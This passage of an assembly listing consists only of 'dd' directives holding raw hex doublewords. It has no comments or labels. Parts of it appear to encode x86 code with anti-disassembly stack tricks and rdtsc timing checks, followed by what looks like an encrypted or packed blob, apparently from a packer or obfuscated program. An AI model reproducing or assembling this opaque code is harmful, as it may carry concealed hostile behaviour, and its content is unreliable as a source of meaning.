5AD1B631h, 24048958h, 287DBD8Bh, 95FF07FAh dd 7FA2835h, 0BFEB70Fh, 42850FC0h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0E6A8C357h, 0C85DDAE9h, 0D6FE16C4h, 31658D89h, 84E907FAh dd 0E9000006h, 0Dh, 0C15E4D9Eh, 0B6FA8C22h, 1897F0A6h dd 6AD0FFDAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 32D3C355h, 0B58BAD90h, 7FDD816h dd 2DE9BD89h, 468D07FAh, 4840F20h, 60000000h, 6A615952h dd 0BA666004h, 8166D57Fh, 61CBE1D6h, 60525050h, 310F5250h dd 0F78A585Ah, 5A310F61h, 24048958h, 0AABE6660h, 518529FFh dd 6107FA22h, 6258589h, 95FF07FAh, 7FDD826h, 2BDDBD29h dd 0C00B07FAh, 67840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 8F30A1C3h, 2DB58B60h dd 0F07FA2Bh, 689h, 698D8B00h, 6107FA1Fh, 0C8BF0F50h, 5B5E95Ah dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 956524C3h, 18BFF09Eh, 8B185E72h, 0FA07B58Dh dd 207E8007h, 80840F00h, 66000005h, 56C6E981h, 5800F60h dd 0B9000000h, 2514405Dh, 6A20468Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 5266C351h dd 0EE943B79h, 73C67742h, 18F59D89h, 0DE907FAh, 0 dd 3BBCA79Ah, 0FE06AE09h, 7AC95546h, 0D8128589h, 0B70F07FDh dd 127E9FEh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0CFE8E2C3h, 0B20379CAh, 40AC0A2Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 92C35343h dd 9712E400h, 0BC98589h, 605007FAh, 4F46B966h, 800Fh, 89610000h dd 23602404h, 0FA223585h, 0F3BF0F07h, 6A046A61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0C75AC353h, 34406A71h, 61858936h, 9007FA21h, 693B5FBAh dd 8B665018h, 6A90CEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 6A5C55C3h, 9BE9D90Dh, 9DBD8B99h dd 0FF07FA25h, 0FDD82695h, 2D8D8B07h, 8B07FA24h, 0FA30C58Dh dd 60D88B07h, 2655BD8Bh, 61FC07FAh, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D2694095h dd 0D03522A0h, 858906B1h, 7FA3295h, 840FDB0Bh, 11h, 2C5BD0Bh dd 0E907FAh, 29000004h, 0FA18FD85h, 388007h, 0FEF5850Fh dd 8166FFFFh, 0E9D767C7h, 2Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0B0C35040h, 96609708h, 0DA81DE10h dd 5E410168h, 81B58948h, 3B07FA2Dh, 0FDD81285h, 4B820F07h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0C4F1C351h, 0F47D629h, 1D1D8D8Bh dd 388007FAh, 1B840F5Ch, 81000000h, 59B429C2h, 0B5BD8B5Ah dd 8007FA2Eh, 850F2F38h, 0FFFFFFA8h, 209D952Bh, 0F4007FAh dd 0BD83D7BFh, 7FDD81Ah, 67840F00h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0B299C356h, 0F20C8C7Ch, 0F8D0F50h, 0E8000000h, 5, 0A35F4BB8h dd 8DBF66BAh, 48959F1h, 9E824h, 0F30D0000h, 4F9B87E3h dd 534148A9h, 2F91BD8Bh, 5F5907FAh, 0D81A8503h, 958907FDh dd 7FA222Dh, 0C8BA6650h, 240489BCh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 41C35242h, 0BA7AC42Ch, 4E1BB238h dd 6A046Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0EB0615C3h, 0E950035Fh, 5, 3F3D560Ch, 24048971h dd 14799503h, 95FF07FAh, 7FDD826h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0A1C35646h, 0C56EFF2Eh, 803D51BCh dd 68E0Fh, 9D010000h, 7FA2C9Dh, 2BD88BFCh, 0FA2DE9BDh dd 8B665807h, 159523C8h, 0B07FA10h, 24840FDBh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 67FEC356h, 1CE93178h, 0C6000002h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 295776C3h, 0E4F96257h, 6DBA5845h, 5848F5CFh, 1E7D9D89h dd 539007FAh, 8B66505Ah, 816690FEh, 6AEDF8D2h, 57006A1Eh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0F50FC01h, 88h, 24048900h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 90C35141h, 2DBDBF66h, 0D82695FFh dd 0B58907FDh, 7FA1D85h, 8D89D88Bh, 7FA1869h, 65BD8B58h dd 0B07FA25h, 3E840FDBh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 9F5BC351h dd 0FEB13828h, 0B96656DFh, 0F5F6744h, 689h, 599D8900h dd 0E907FA05h, 137h, 0DCADBEB9h, 830F901Fh, 4, 5A616051h dd 58C0F50h, 0B9000000h, 1E5D990Ch, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0C305C936h dd 8BA18564h, 6B5FFBEh, 8007FDD8h, 0FB8BDBDAh, 0D80A95FFh dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 782F58C3h, 9F184229h, 798D89CFh, 6007FA26h dd 15598D8Bh, 0B6107FAh, 33850FC0h, 61000000h, 0E9FB8B66h dd 0Ah, 0B288822h, 819B7106h, 85C748CDh, 7FDD80Eh, 1, 0C898D0Bh dd 84E907FAh, 0F000000h, 581h, 1C00BF00h, 6A61536Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0BC5C350h, 95896EADh, 7FA2871h, 11CC681h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 6E0861C3h, 16DA81F8h, 0E92FFA28h, 0FFFFF9DEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7C35545h, 536E654Fh dd 6872A618h, 0D50F101h, 0BF525060h, 63716315h, 0EF8A310Fh dd 870F585Ah, 2, 81616160h, 71012434h, 0BD8B0D50h, 7FA2741h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 2B5E17C3h, 8BE22958h, 16B5FFFAh, 6A07FDD8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0CA52C357h, 1DB7470Eh, 4AC47CAAh, 2225B589h dd 810F07FAh, 6, 15B9958Bh, 95FF07FAh, 7FA0075h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A4C35040h, 2EE7EDD2h dd 898CBE25h, 0FA1D19BDh, 0E858B07h, 6A07FDD8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7C6AC353h, 16F59589h, 669007FAh, 0B250D18Bh, 11E9908Ah dd 1E000000h, 0EA27CF5Bh, 0F1EC42F5h, 874D173h, 5866F78Bh dd 0B0C32BBAh, 1E858D17h, 6A07FDD8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B8CEC352h dd 3A6DEED9h, 8D2B08B2h, 7FA2B4Dh, 8917B250h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0E413E9C3h, 0ED4EEBC7h, 81BF724Bh, 0FD2DC9D1h, 7E903h dd 0A970000h, 0E45B7D6Bh, 0DB858D8Fh, 6A07FDD7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0AB8BC351h, 487E8E85h, 0F4FF69Ch, 1783h, 12E900h, 0AD7D0000h dd 33BCDFE0h, 28CBD455h, 2FA3C254h, 93759CDDh, 0BE990h dd 2FE10000h, 8DEB9C8Bh, 4B82BD01h, 52505079h, 0D357D5BFh dd 0E9310F7Eh, 0Bh, 0BD3E25AEh, 5166AEA9h, 5ABF0C27h, 8B669058h dd 0F4EA81CBh, 0FF72FAC9h, 0FA0EE195h, 0E9BD8907h, 8B07FA02h dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 83A2BEE3h, 0FA2ACDBDh, 9750007h, 1899BD83h dd 740007FAh, 8B535013h, 4D0B8C0h, 9D8D0000h, 7FCE05Fh dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535011h, 4D0h, 0DF5E9D8Dh dd 0D3FF07FCh, 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0DF7FBCC3h, 0F98B6605h, 0F7C3BF66h dd 8EEFB966h, 8B66C08Bh, 6A58D7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0B51898C3h, 66143080h dd 69E8E281h, 0E90008C2h, 14h, 95296D2h, 1A064257h, 23F13C7Eh dd 0CD0C5DB6h, 0CA5A0DA5h, 8589C08Bh, 7FA071Dh, 0D84B858Dh dd 0CE907FDh, 90000000h, 1F8F5A8h, 20078042h, 0E9D13A3Fh dd 0Bh, 6725A117h, 7D96C729h, 89E8A018h, 0FA2C6D85h, 39EB07h dd 0CC00AF00h, 0E400AF02h, 0AF02h, 7A000000h, 40451C57h dd 0EA74055Bh, 0B6201453h, 8D4D1F57h, 1C4C1510h, 7C743F3Eh dd 52203D72h, 6B503E4Ah, 75482550h, 8344105Bh, 94201B5Eh dd 0E02072D6h, 0B37D513Eh, 1C4CF863h, 3864F03Ah, 0E206B3Ah dd 0C475343Eh, 0F169BD70h, 4AB17B1Bh, 0B2201BFEh, 702072D6h dd 0FB7A513Eh, 3874F864h, 2A64F03Ah, 720653Ah, 4072333Eh dd 0C9DF299h, 0E0278B14h, 0CDA3784Bh, 3FDA69A7h, 4C39053Eh dd 0B6E0FA6Dh, 7207587h, 0A3E9F4B7h, 5CAD76C4h, 0E7DC931Ah dd 287BA2C1h, 20B9CCBDh, 682076C4h, 0B6732129h, 7207587h dd 0A3E9F4B7h, 5CAD76C4h, 0E7DCAE2Dh, 287BA2C1h, 0F995F869h dd 46278B13h, 805CCB5h, 0C7AB76C4h, 6B757154h, 0C120713Dh dd 0BDE32C1Eh, 74041DB7h, 3C0435BFh, 1C20712Ah, 60E3247Bh dd 6359CBEh, 793C58BBh, 0A4A5B739h, 0B6278B38h, 98777154h dd 3820713Dh, 43E32E1Eh, 0A040DB7h, 30435BFh, 83207125h dd 0FFE32679h, 0E0F64959h, 99CEC146h, 38207130h, 50B4D0FAh dd 3C349023h, 267EDCC5h, 0E648D1E2h, 40B489DAh, 33CD553Ah dd 8FD97691h, 0C200E48Bh, 4F201B39h, 0E2072D6h, 0C47B513Eh dd 0A77CF865h, 0E564F03Ah, 0E0206B3Ah, 0B373323Eh, 70EC6EC8h dd 133CD734h, 83D8A081h, 0FA83ACBBh, 4A9F7E39h, 74A9A1C1h dd 0E7DA614Fh, 6669C4B7h, 3C4A76C4h, 74DFCE31h, 0A4D5C7ECh dd 3A1918Fh, 89795F1Ah, 93201B6Bh, 0E02072D6h, 0B37A513Eh dd 1C74F864h, 3864F03Ah, 0E206C3Ah, 0C472333Eh, 5D869D97h dd 0A9FB1B04h, 0E4C84301h, 9C20713Eh, 6820713Ch, 1CA07E6Ch dd 120713Eh, 5A27E0Fh, 820713Eh, 91782BF6h, 0E40435B5h dd 0F48FCF58h, 864671B5h, 58A99C3Ah, 0D79F751Ah, 5F245EA9h dd 4BCAA87h, 0AB201B5Eh, 0E3C8263Eh, 5020713Eh, 0B17FB261h dd 9D245542h, 1524557Ah, 4020713Eh, 78A7B269h, 50A62CDEh dd 2EAAF456h, 704AA1C1h, 3823996Dh, 4700713Eh, 52A92AFDh dd 43A1751Ah, 8336751Ah, 9263713Eh, 0C0C81CFDh, 70207AD7h dd 54B6553Eh, 0CD24BD25h, 0EBD633D9h, 729FE31h, 92F713Eh dd 0C120713Dh, 6961A7BEh, 8DCBFBBBh, 6E201B39h, 1C2072D6h dd 0CD7E513Eh, 2354F860h, 0A764F03Ah, 0C1206A3Ah, 2376373Eh dd 0F250CFBh, 86B0AD0h, 0F5F2CE31h, 0E207133h, 0FDAAA68Dh dd 0F9B9863Ah, 5707A7Ch, 0E5D8FAE0h, 702073F2h, 0D3AEF4B7h dd 0DCA376C3h, 9CA5F826h, 34278CD5h, 81CCC8FEh, 6BD3713Eh dd 5F4611C6h, 0C5AB08E5h, 3FDA4083h, 79A5B75Fh, 4D278B38h dd 0EF737154h, 8320713Dh, 9AE32A1Eh, 0E4042DB7h, 740435BFh dd 38207123h, 0F3E3227Dh, 50A05285h, 402993E0h, 83299976h dd 0AC9E713Eh, 5F8C5834h, 7116705Ah, 0C209948Bh, 76482B39h dd 14F168Ch, 7206ABFh, 8EC8113Eh, 2B20713Eh, 2B1A884Eh dd 0E1D5C298h, 2FAD8843h, 13722164h, 6F782B0Fh, 0F30475BFh dd 8C0C8E86h, 0C12071B3h, 75958E3Eh, 0FB278B1Eh, 0C21268B3h dd 0B595FA39h, 83278B23h, 0FA83ACBBh, 0D4201B39h, 0C12072D6h dd 237F513Eh, 545CF861h, 1C64F03Ah, 1C206B3Ah, 0CD77363Eh dd 66913491h, 6A6016A8h, 0C120712Ah, 39EA5E84h, 49A08596h dd 35D7A95Eh, 0BD8BB61Ah, 0B6359FCFh, 25D5CCB5h, 53DF76C4h dd 0E245E4B7h, 65A976C4h, 77DA618Bh, 1D55CCB5h, 99AD76C4h dd 9DA74AFh, 720F531h, 6A9713Eh, 0C6DA5AD7h, 8767154h dd 7020713Dh, 66E32F1Eh, 180405B7h, 0A0435BFh, 7207125h dd 5CE32778h, 35EEA2FBh, 0D1369B60h, 8A273CABh, 5DA5B739h dd 4F278B38h, 2075E4B5h, 0BAAB76C4h, 84DA6487h, 0E978C456h dd 0C424F0FDh, 49A8811Dh, 0D0777154h, 1C20713Dh, 51E32E1Eh dd 3040DB7h, 870435BFh, 0C120712Ah, 0DFE32679h, 85A5786Eh dd 61278B22h, 3CB5C4C1h, 8BA976C4h, 0DA5E7Fh, 20FDF4B3h dd 742376C3h, 0E7DA67CBh, 704AA1C1h, 3823996Ch, 4600713Eh dd 5AA92BFDh, 43A1751Ah, 8339751Ah, 9362713Eh, 751558FDh dd 7F74C0D0h, 382077BAh, 0BDADFA3Eh, 87278B2Ah, 0FD3068BBh dd 0D2201B39h, 0C12072D6h, 2379513Eh, 546CF867h, 1C64F03Ah dd 1C206B3Ah, 0CD71303Eh, 4447AEEFh, 831D467h, 3B28DCABh dd 85A5B739h, 23278B38h, 0A3CAF058h, 0AF1A1997h, 0B046ED47h dd 3A1FF23h, 1C31081Ah, 0C1AB7E05h, 0EF20713Eh, 0C5DF8189h dd 3FDA51ABh, 0F4777154h, 0E20713Dh, 58E32E1Eh, 87040DB7h dd 0C50435BFh, 0E0207128h, 0DFE32679h, 0B5A99285h, 1BDA616Fh dd 8BAD82B5h, 0DDD2E3h, 6B717154h, 0C120713Dh, 0B9E3281Eh dd 74043DB7h, 3C0435BFh, 1C207129h, 0DDE3207Fh, 6712DD58h dd 89C811C7h, 3020713Eh, 0E77DE204h, 0B36D8449h, 0B52F29D2h dd 1C20713Eh, 0DEDF105Fh, 8DAFA58h, 832074B5h, 26A1173Eh dd 65A9CF84h, 77DA567Bh, 0D0757154h, 1C20713Dh, 53E32C1Eh dd 3041DB7h, 870435BFh, 0C120712Bh, 29E3247Bh, 70289814h dd 3271713Eh, 41A9F73Bh, 8BE6BB4Bh, 0DA775Bh, 0D4201B79h dd 0C12072D6h, 237F513Eh, 545CF861h, 1C64F03Ah, 1C20643Ah dd 0CD77363Eh, 0CC48BDE9h, 6AC8FF1Eh, 0C1207130h, 82C112BDh dd 0D03D34ADh, 0C2E0BFB9h, 28A103BCh, 5EDD131Ah, 56201B61h dd 832072D6h, 279513Eh, 0C46CF867h, 5464F03Ah, 3820673Ah dd 0DF71303Eh, 0F1464C79h, 0FD00E48Bh, 5AA11739h, 44AD9F41h dd 0E7DDD2E3h, 98777154h, 3820713Dh, 43E32E1Eh, 0A040DB7h dd 30435BFh, 83207122h, 4BE32679h, 0E37BE37Dh, 9D2A38EAh dd 384AA1C1h, 1C23996Ch, 5400713Eh, 53A92BFDh, 0C7A1751Ah dd 0C13A751Ah, 0B262713Eh, 0A8254DFDh, 0FE3802DCh, 15A5F8C7h dd 0E7278B14h, 7207135h, 94FE3C20h, 0E236C2E7h, 26512C53h dd 8A2614BBh, 0AD2B3639h, 1BDA55B7h, 0F4401956h, 15C9261Ah dd 0F120713Eh, 4E61453Fh, 0C7F8412Ah, 3E244263h, 14A2958Eh dd 18A12EC1h, 0EF90631Ah, 0BA112662h, 84DA403Bh, 54958E60h dd 0D1278B1Eh, 8A36FC83h, 0E5A5FC39h, 13278C9Dh, 0E2071B7h dd 0B5F08E3Eh, 0D2A5F8E9h, 0AB278B17h, 0E3C8223Eh, 5020713Eh dd 0B17BB265h, 9D245562h, 1324557Ah, 4420713Eh, 3FC6B26Dh dd 142B5CF6h, 98A9CAB3h, 7645F4F8h, 526776C4h, 1FC8243Eh dd 2E20713Eh, 8E7DB263h, 2245552h, 0D624557Ah, 0A520713Eh dd 0DEF7B26Bh, 8DABDDFAh, 1BDA7FD7h, 18593956h, 65D0CE83h dd 0B7A17745h, 1A65641Ah, 0B6201B29h, 702072D6h, 0FB7E513Eh dd 3854F860h, 2A64F03Ah, 720663Ah, 4076373Eh, 0B64FBFC2h dd 60DFCE31h, 0C5DFF7CCh, 3FDA51ABh, 0F4727154h, 0E20713Dh dd 5DE32B1Eh, 870425B7h, 0C50435BFh, 0E0207123h, 0C9E3237Ch dd 4AE495CCh, 2B961C6Ch, 1D2FACBh, 72043B3h, 90C9113Eh dd 4820713Eh, 0C47D36Bh, 0ED19869Ah, 3C2083E3h, 268B9BFBh dd 1DC9DB8Bh, 6220713Eh, 0A435A89h, 0B26036Eh, 0AE9DE444h dd 8D3821F1h, 0B5414EB2h, 0E183ACBBh, 5B201B39h, 72072D6h dd 407D513Eh, 0E54CF863h, 0C464F03Ah, 7020663Ah, 0FB75343Eh dd 0A829803Ch, 9C1E4B7h, 8A0376C4h, 84DA7E5Fh, 0C14AA1C1h dd 0E023996Eh dd 2800713Eh, 7CA929FDh, 58A1751Ah, 0E34751Ah, 5760713Eh dd 90C99FFDh, 5F20713Eh, 24F3EA45h, 3336628Dh, 16E07380h dd 7F099AD6h, 7C95C39h, 0A620713Eh, 0EF22032Ah, 10F506D9h dd 0D491F4B7h, 379F76C4h, 0C7433B47h, 0ED9F7EEEh, 371F4B7h dd 822176C4h, 84DA5153h, 0A7F8FD58h, 0EC8490BFh, 704A751Ah dd 3823996Ch, 4600713Eh, 5AA92BFDh, 43A1751Ah, 833D751Ah dd 9362713Eh, 65A4EFFDh, 6493E6BFh, 32249B0Ah, 36A47EFEh dd 6820713Dh, 0C1A08B81h, 792614BBh, 40463E39h, 6160C2E4h dd 0F99641D9h, 3824992Eh, 70E4713Eh, 5C70CEBEh, 7A17E5Eh dd 3820713Eh, 0D993D2CFh, 0BA117E5Fh, 34AB2166h, 38AB751Ah dd 902F236Eh, 0E20713Eh, 5F7A4031h, 870435B7h, 0C12079D7h dd 1CE21E3Eh, 1B2F6451h, 30C829BEh, 6C20713Eh, 36C216E6h dd 8E0E0735h, 7935C0BBh, 74DF2B39h, 0E7DA51ABh, 98717154h dd 3820713Dh, 45E3281Eh, 0A043DB7h, 30435BFh, 83207124h dd 0C2E3207Fh, 4F391529h, 0F146661Eh, 8A60EBD1h, 0C1A5FCF8h dd 27278C9Dh, 0FD31A48Bh, 0E9F08E39h, 0C2C8233Eh, 0C020713Eh dd 0F97AB264h, 0B924556Ah, 24557Ah, 4C20713Eh, 0C28AB26Ch dd 4C04A48Eh, 9081BF68h, 32FBEA81h, 0B0A32E33h, 6F201B1Ah dd 1C2072D6h, 0CD7F513Eh, 235CF861h, 0A764F03Ah, 0C120683Ah dd 2377363Eh, 88869F4Eh, 850B2EE6h, 1BDA544Bh, 12C9F4B7h dd 0BAAB76C4h, 84DA7A03h, 0CC71F4B5h, 632F76C4h, 70207136h dd 0BDBDF86Ch, 42278B2Bh, 0E2DFC31h, 0C40713Eh, 793D5483h dd 0BD88CA39h, 6B417F36h, 8A14C0A3h, 0BDB57039h, 5F278B3Bh dd 0E6757154h, 720713Dh, 0DEE32C1Eh, 0C5041DB7h, 0E40435BFh dd 70207127h, 85E3247Bh, 46123C14h, 0F9A11727h, 1CABC7DDh dd 6B707154h, 0C120713Dh, 0B8E3291Eh, 740435B7h, 3C0435BFh dd 1C207125h, 0D3E3217Eh, 9B942FEh, 0E55E5BEAh, 0FC26A0BFh dd 0EBC86AB5h, 0C820713Eh, 27295BAFh, 4238EC7h, 85461408h dd 1CAB2BC5h, 0B0DEFA58h, 88BDF8E6h, 69278B2Bh, 8A3590A3h dd 3DAD4039h, 0DA278B3Ch, 0F42614BBh, 920B3639h, 84DA7167h dd 0D35E1056h, 0B072215Ah, 7F41116Ch, 0DF99170Fh, 13782B9Ah dd 0AAD7E0Fh, 6120713Eh, 0D94ADD81h, 0E524F066h, 0B3EC2E76h dd 98757154h, 3820713Dh, 41E32C1Eh, 0A041DB7h, 30435BFh dd 83207128h, 0ADE3247Bh, 55DF3C47h, 77DA51ABh, 0C21FC17h dd 99AD76C4h, 9DDD2E3h, 0EF717154h, 8320713Dh, 98E3281Eh dd 0E4043DB7h, 740435BFh, 38207125h, 3FE3207Fh, 9D6952Ah dd 0F87C4438h, 2AA540EEh, 48278B1Ch, 1A0A78BBh, 22201B39h dd 382072D6h, 0DF7A513Eh, 2A74F864h, 2364F03Ah, 8320683Ah dd 272333Eh, 2C41B674h, 16409DD4h, 31AA9BFh, 81DEC35h dd 4E4176C4h, 2BADF4B7h, 8DC76C4h, 90201B3Eh, 0E02072D6h dd 0B379513Eh, 1C6CF867h, 3864F03Ah, 0E206A3Ah, 0C471303Eh dd 0E29F3EBFh, 0A606646Ah, 8A20FAC7h, 73C8203Eh, 1820713Eh dd 9579B267h, 8F245572h, 1324557Ah, 0C220713Eh, 4A15B26Fh dd 0E0AB7EC7h, 0F920713Eh, 0C204C4BBh, 4B201B39h, 0E2072D6h dd 0C47F513Eh, 0A75CF861h, 0E564F03Ah, 0E0206D3Ah, 0B377363Eh dd 0C2E4DD3Eh, 0A8DB0A80h, 9F9DFA6Ch, 0EE278B11h, 83207040h dd 29727154h, 0E020713Dh, 2AE32B1Eh, 3C0425B7h, 180435BFh dd 0E207128h, 76E3237Ch, 8462CF1h, 71A5FCC9h, 69278CD5h dd 8A0AD4B3h, 0B52FE139h, 1C20713Ah, 5741116Ch, 97F0FA6Eh dd 6B707154h, 0C120713Dh, 0B8E3291Eh, 740435B7h, 3C0435BFh dd 1C207126h, 77E3217Eh, 3DC69A81h, 8323F631h, 762F713Eh dd 0DEFAF0ECh, 8F4890BCh, 0C20868ABh, 4F201B39h, 0E2072D6h dd 0C47B513Eh, 0A77CF865h, 0E564F03Ah, 0E020693Ah, 0B373323Eh dd 0AEE5B9DAh, 71ADFA5Dh, 83278B38h, 0FACBC7A3h, 0D3201B39h dd 0C12072D6h, 2378513Eh, 5464F866h, 1C64F03Ah, 1C206C3Ah dd 0CD70313Eh, 66075D54h, 0C9C8C692h, 7870D3C0h, 0C3F76DABh dd 1A046DB7h, 3BC8223Eh, 3C20713Eh, 877BB265h, 86245562h dd 9F24557Ah, 8220713Eh, 5128B26Dh, 9767CF90h, 6A741396h dd 8777CE58h, 0B746E167h, 0EE7081A5h, 83207139h, 0E41217BFh dd 70C1B6F4h, 70207ED6h, 61E68C3Eh, 140F997Ch, 0CDE8D342h dd 79E2A007h, 835DE417h, 3E7E76C4h, 1A0844ABh, 23201B39h dd 382072D6h, 0DF7B513Eh, 2A7CF865h, 2364F03Ah, 8320673Ah dd 273323Eh, 0EF7F3D50h, 702077BAh, 0B9BD583Eh, 95278B39h dd 0F43C98BBh, 57201B39h, 832072D6h, 278513Eh, 0C464F866h dd 5464F03Ah, 38206C3Ah, 0DF70313Eh, 868B2126h, 5B2C87E5h dd 6E6D1CDh, 0C6DA775Bh, 0B1201B6Dh, 702072D6h, 0FB79513Eh dd 386CF867h, 2A64F03Ah, 720663Ah, 4071303Eh, 797B00F8h dd 88798D68h, 47674D53h, 2A0475BFh, 7A533176h, 0F11F3A84h dd 0FD00E48Bh, 9AA77E39h, 2820713Eh, 0E020712Ah, 0D7FF60D7h dd 17591FD5h, 82C83A6Dh, 3D3B6013h, 86444E34h, 9E25E4B5h dd 44AD76C4h, 0E7DDD2E3h, 98777154h, 3820713Dh, 43E32E1Eh dd 0A040DB7h, 30435BFh, 83207126h, 3AE32679h, 0F5B5735Bh dd 0A0ABA1C1h, 24B5F4B7h, 1C4A76C4h, 0E239968h, 5900713Eh dd 0F7A92FFDh, 85A1751Ah, 0E03B751Ah, 2666713Eh, 0B96A5CFDh dd 0B16894D0h, 6BA5B7C3h, 40278B38h, 0EBEEB7BEh, 12AD9FB9h dd 61DAFA58h, 8B37550Ah, 384A03C1h, 1C23996Bh, 5300713Eh dd 6BA92CFDh, 0C7A1751Ah, 0C138751Ah, 0B565713Eh, 67DE1FDh dd 28C9C086h, 6120713Eh, 1260015h, 7B2C67ECh, 0D53D3A78h dd 48615672h, 1A0EC0BBh, 0E5958E39h, 52278B1Eh, 1FC8203Eh dd 2E20713Eh, 8E79B267h, 2245572h, 0DA24557Ah, 0A120713Eh dd 0E402B26Fh, 4F52949h, 81A965A8h, 9DA5523h, 0A4FDF4B3h dd 6A4076C3h, 0C1207134h, 0EB509D0Dh, 500F8190h, 0B14039A9h dd 0E61380ABh, 6F418839h, 0B840A1C1h, 0C832CA21h, 0C1207AD7h dd 1D7AAF3Eh, 7697DB78h, 89441E5Bh, 0FDA5F85Fh, 64278B26h dd 4C8243Eh, 0A320713Eh, 487DB263h, 61245552h, 6D24557Ah dd 7D20713Eh, 144BB26Bh, 38A38776h, 0C0E8490h, 0A229FC37h dd 44E676C4h, 0E7DA775Bh, 73A47E6Dh, 5E20713Eh, 1848BEB5h dd 6E84504Fh, 5777B9B5h, 2412F66h, 0EFB4550Ah, 0E04A4C26h dd 7023996Ch, 6200713Eh, 48A92BFDh, 4AA1751Ah, 73A751Ah dd 0D162713Eh, 0BCBB7CFDh, 0E3EDBBB5h, 6F61CCB5h, 0EEA076C4h dd 89958E3Dh, 1278B1Eh, 82AD8689h, 84DDD2E3h, 4603CB58h dd 0E6DDFCB5h, 0A0DF76C4h, 0D0757154h, 1C20713Dh, 53E32C1Eh dd 3041DB7h, 870435BFh, 0C1207127h, 6AE3247Bh, 75CAE6CCh dd 0B5A5F898h, 97278B11h, 0F40AA8B3h, 9EA5F839h, 0E9278B29h dd 0C2C8213Eh, 0C020713Eh, 0F978B266h, 0B924557Ah, 524557Ah dd 4E20713Eh, 99ABB26Eh, 92C750h, 0E89FACBEh, 1A12F4A3h dd 15A5B739h, 6F278B38h, 3281F4B7h, 674876C4h, 67F1D865h dd 5831CE58h, 0C4C9236Eh, 0C320713Eh, 0E6639FC9h, 3FC84031h dd 0E720713Eh, 2555B583h, 5D788D97h, 0B7A11066h, 6C291E1Ah dd 195787Fh, 8F278B3Ch, 0C200E48Bh, 0DBA11739h, 83ABC876h dd 0DA6FBBh, 20FDF4B3h, 0C14A76C3h, 0E023996Bh, 2D00713Eh dd 54A92CFDh, 58A1751Ah, 0E34751Ah, 5265713Eh, 4CAB5BFDh dd 0C14AA1C1h, 0E0239968h dd 2E00713Eh, 4CA92FFDh, 58A1751Ah, 0E37751Ah, 5166713Eh dd 823B7EFDh, 0BC9DFA3Dh, 69278B30h, 8A0804BBh, 2D95FA39h dd 0DA278B35h, 0F42614BBh, 84483239h, 0E5854D60h, 40E26087h dd 0CE8B550Ah, 0F1466892h, 0C705B6D1h, 0E600E48Bh, 5C201B39h dd 72072D6h, 407A513Eh, 0E574F864h, 0C464F03Ah, 7020663Ah dd 0FB72333Eh, 0F790EAC4h, 0ADFDF4B3h, 74A76C3h, 8323996Bh dd 9C00713Eh, 8CA92CFDh, 34A1751Ah, 383C751Ah, 4965713Eh dd 42BB07FDh, 0F868F644h, 1E0995A6h, 0C6DA5B9Fh, 0E1BDF85Eh dd 0F9278B16h, 0C2352083h, 0CCDF1039h, 0E6767154h, 720713Dh dd 0DDE32F1Eh, 0C50405B7h, 0E40435BFh, 7020712Bh, 0D1E32778h dd 0EDB5F897h, 87278B34h, 0FD0228BBh, 54AB1739h, 2A86F4B3h dd 1C7276C3h, 0B595FA60h, 68278B23h, 1C207AD7h, 4C20313Eh dd 0AD36A977h, 0FADDAE19h, 0A70475B7h, 0CAF586BFh, 5839E4C1h dd 384A76C4h, 1C23996Fh, 5700713Eh, 4BA928FDh, 0C7A1751Ah dd 0C13D751Ah, 0B161713Eh, 